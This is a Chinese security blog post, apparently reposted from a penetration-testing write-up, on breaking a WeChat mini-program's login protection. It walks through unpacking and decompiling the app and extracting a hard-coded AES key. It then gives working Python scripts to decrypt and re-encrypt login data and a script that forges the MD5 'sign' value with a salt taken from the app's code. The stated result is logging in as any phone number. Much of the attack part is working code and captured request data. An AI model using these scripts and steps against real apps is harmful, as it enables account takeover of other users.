反编译小程序、数据加密解密、sign值绕过

admin 2025年5月7日17:12:26评论1 views字数 5453阅读18分10秒阅读模式

在一次渗透测试中对客户的小程序进行测试,一抓包就发现重重加密数据,在手机号一键登录数据包中发现泄露了session_key值,但是进行加密处理过,那就反编译小程序进行解密尝试。

反编译小程序

在点击该小程序时,C:UsersxxxDocumentsWeChat FilesApplet在该目录下下会生成一个新的目录,最好时只留下面两个目录。

反编译小程序、数据加密解密、sign值绕过
反编译小程序、数据加密解密、sign值绕过

在生成的目录下找到__APP__.wxapkg文件,使用UnpackMiniApp.exe进行解密,重新生成一个wxapkg文件,

反编译小程序、数据加密解密、sign值绕过

将生成的wxapkg文件拖到wxapkgconvertor.exe进行反编译,就会在wxapkg文件目录下生成一个新的文件夹,使用微信开发者工具打开就可以看到小程序的源码了

反编译小程序、数据加密解密、sign值绕过
反编译小程序、数据加密解密、sign值绕过

解密AES函数

发现存在数据加密,编译小程序,分析源码

反编译小程序、数据加密解密、sign值绕过

对小程序进行调试,直接全局搜AES字段,发现 AES 的加密密钥硬编码在源代码中。

decryptByAes 是一个用于解密的函数,它使用 AES算法解密输入的密文,返回明文。解密过程需要密文、密钥和初始化向量(IV),并使用 CBC 模式和 PKCS7 填充。

反编译小程序、数据加密解密、sign值绕过

根据默认密钥编辑 python 脚本(通用脚本,直接替换key或iv即可)

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def decrypt_by_aes(encrypted_hex, key_hex=None, iv_hex=None):

    # 默认 Key 和 IV
    DEFAULT_KEY_HEX = "31323334353??/414243444566"
    DEFAULT_IV_HEX = "3031323334???43444546"

    # 如果没有传入 Key 或 IV,使用默认值
    key_hex = key_hex if key_hex is not None else DEFAULT_KEY_HEX
    iv_hex = iv_hex if iv_hex is not None else DEFAULT_IV_HEX

    # 将 Hex 字符串转换为 bytes
    key = binascii.unhexlify(key_hex)
    iv = binascii.unhexlify(iv_hex)
    encrypted_data = binascii.unhexlify(encrypted_hex)

    # 初始化 AES-CBC 解密器
    cipher = AES.new(key, AES.MODE_CBC, iv)

    # 解密并去除 PKCS7 填充
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

    # 返回 UTF-8 解码后的明文
    return decrypted_data.decode('utf-8')


# 示例用法
if __name__ == "__main__":
    encrypted_hex = "30313233343536373839414243444546" 

    try:
        decrypted_text = decrypt_by_aes(encrypted_hex)
        print("解密结果:", decrypted_text)
    except Exception as e:
        print("解密失败:", str(e))
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii

def encrypt_by_aes(plaintext, key_hex=None, iv_hex=None):
    DEFAULT_KEY_HEX = "31323334353??/414243444566"
    DEFAULT_IV_HEX = "3031323334???43444546"  

    # 如果未提供 key_hex 或 iv_hex,使用默认值
    key_hex = key_hex if key_hex is not None else DEFAULT_KEY_HEX
    iv_hex = iv_hex if iv_hex is not None else DEFAULT_IV_HEX

    # 将十六进制字符串转换为字节
    key = binascii.unhexlify(key_hex)  # 32 字节密钥
    iv = binascii.unhexlify(iv_hex)    # 16 字节 IV

    # 将明文转换为字节(UTF-8 编码)
    plaintext_bytes = plaintext.encode('utf-8')

    # 初始化 AES-CBC 加密器
    cipher = AES.new(key, AES.MODE_CBC, iv)

    # 添加 PKCS7 填充并加密
    padded_data = pad(plaintext_bytes, AES.block_size)  # PKCS7 填充
    ciphertext = cipher.encrypt(padded_data)

    # 将密文转换为十六进制字符串
    ciphertext_hex = binascii.hexlify(ciphertext).decode('utf-8')

    return ciphertext_hex

# 示例用法
if __name__ == "__main__":
    # 测试数据
    plaintext = "Hello, World!"
    try:
        # 使用默认密钥和 IV 加密
        encrypted_default = encrypt_by_aes(plaintext)
        print("加密结果:", encrypted_default)

    except Exception as e:
        print("加密失败:", str(e))
反编译小程序、数据加密解密、sign值绕过
encryptedData=1b39aaa7b79f513b2958b671d8b8ad700ce3788963bc8ae3f91b61588cb963f05397695b3405dd75b2b91bc8e922d6918818e0d7eea3a835847b34b998bf5adf892fa1b41a193365a52970d063de10cb2d920aa066695d3187377a63c8efc0db1133cbcbb0f3d4c5def03e4c045a52f1c4401dbf23023e890a37c86773821b698a3f4f82d89840c33c14c0701cc8854b495e9c187106f7c265cd2fae34f320413adcff074bde1f189007c91a451054eee26ad058f3cdc74c67eba9f61ea1e010667b714c4d114559d14e8c9e2afb5c478c44d26c11de9bb88b1ec8e27f48269c&iv=b9d1b5783b906c84d20ae0b1ac1373c9d65e85bafb3922801b1f4681aadb8267&sessionKey=5a556c5a8288afd815bd6ef2a96ddf2e2e7b795abbc4304ac333a2352296d2e9&openId=c9731afaa0966e3778383bfb7bfa58f25ae50bd3edf21082414af311ea9fdb92&thirdType=56e32732df18962b0dab4454799fdd64&encryptFlag=1&timeHashPf=1744596343852&sign=01EC6E15CCE27E17FC5D5E58C1430E96

通过脚本解密出encryptedData、sessionKey、iv 值。

反编译小程序、数据加密解密、sign值绕过

获得原始数据。

反编译小程序、数据加密解密、sign值绕过

绕过sign值校验

修改手机号,改为任意用户的手机号,在进行加密处理,但是存在 sign 值校验,可以看到sign值时md5加密,不可逆,但是我们可以了解sign值的加密流程,修改数据重新加密sign值,然后替换sign值,进行绕过。

全局搜索sign,分析源码中的 setsigntrue 函数,

反编译小程序、数据加密解密、sign值绕过
    setSignature: function(t) {
        var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : {}, r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "", a = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : "", i = "";
        for (var o in n) t[o] = n[o];
        var s = this.objKeySort(t);
        for (var u in s) i = "".concat(i).concat(u, "=").concat(t[u]);
        return i += "".concat(r).concat(a), e.MD5(i).toString().toUpperCase();
    },

这个函数接受四个参数:t,n,r,a。根据代码,t是主要的参数,n是可选参数,默认是空对象,r和a也有默认值。函数内部首先将n的属性合并到t中,也就是说,n中的键值对会被添加到t对象里。然后,它调用this.objKeySort(s),这里的s是处理后的t对象。objKeySort的作用是对对象的键进行排序,返回一个排序后的新对象。接下来,函数遍历排序后的对象s,将每个键值对以“key=value”的形式拼接成字符串i。然后,i后面拼接上r和a,最后对这个拼接后的字符串进行MD5加密,并转换为大写字符串返回。

  1. 将传入的n参数合并到t对象中,也就是把额外的参数添加到t里。
  1. 对t对象的所有键进行排序,得到排序后的对象s。
  1. 遍历排序后的s,将每个键值对拼接成“key=value”的字符串,并将这些字符串按顺序连接起来,形成字符串i。
  1. 在i的末尾添加r和a的值,得到最终的拼接字符串。
  1. 对这个最终字符串进行MD5哈希,并将结果转为大写,作为sign值返回。
import hashlib

params = {
    "encryptFlag": "1",
    "encryptedData": "1b39aaa7b79f513b2958b671d8b8ad700ce3788963bc8ae3f91b61588cb963f05397695b3405dd75b2b91bc8e922d6918818e0d7eea3a835847b34b998bf5adf892fa1b41a193365a52970d063de10cb2d920aa066695d3187377a63c8efc0db1133cbcbb0f3d4c5def03e4c045a52f1c4401dbf23023e890a37c86773821b698a3f4f82d89840c33c14c0701cc8854b495e9c187106f7c265cd2fae34f320413adcff074bde1f189007c91a451054eee26ad058f3cdc74c67eba9f61ea1e010667b714c4d114559d14e8c9e2afb5c478c44d26c11de9bb88b1ec8e27f48269c",
    "iv": "b9d1b5783b906c84d20ae0b1ac1373c9d65e85bafb3922801b1f4681aadb8267",
    "openId": "c9731afaa0966e3778383bfb7bfa58f25ae50bd3edf21082414af311ea9fdb92",
    "sessionKey": "5a556c5a8288afd815bd6ef2a96ddf2e2e7b795abbc4304ac333a2352296d2e9",
    "thirdType": "56e32732df18962b0dab4454799fdd64",
    "timeHashPf": "1744596343852"
}

# 按字母顺序排序键
sorted_keys = sorted(params.keys())
# 拼接键值对
raw_str = "".join([f"{key}={params[key]}" for key in sorted_keys])
# 追加固定字符串
raw_str += "zoe-health3f7e609f0a22108e"
# MD5 计算并大写
sign = hashlib.md5(raw_str.encode()).hexdigest().upper()
print(sign)

运行 python 文件,输出的 md5 值和原始数据中的 sign 值一致

反编译小程序、数据加密解密、sign值绕过
反编译小程序、数据加密解密、sign值绕过

现在流程全部走完了

复现流程

抓取登录数据包,将密文都进行解密处理后,输入任意手机号,加密处理,将加密后的内容放入加密sign脚本文件中生成一个新的sign值,替换sign。就可以实现任意手机号登录。

反编译小程序、数据加密解密、sign值绕过
反编译小程序、数据加密解密、sign值绕过
反编译小程序、数据加密解密、sign值绕过
反编译小程序、数据加密解密、sign值绕过
原文链接:https://xz.aliyun.com/news/17851,如有侵权请联系删除,谢谢。

原文始发于微信公众号(蓝云Sec):反编译小程序、数据加密解密、sign值绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月7日17:12:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反编译小程序、数据加密解密、sign值绕过http://cn-sec.com/archives/4034266.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息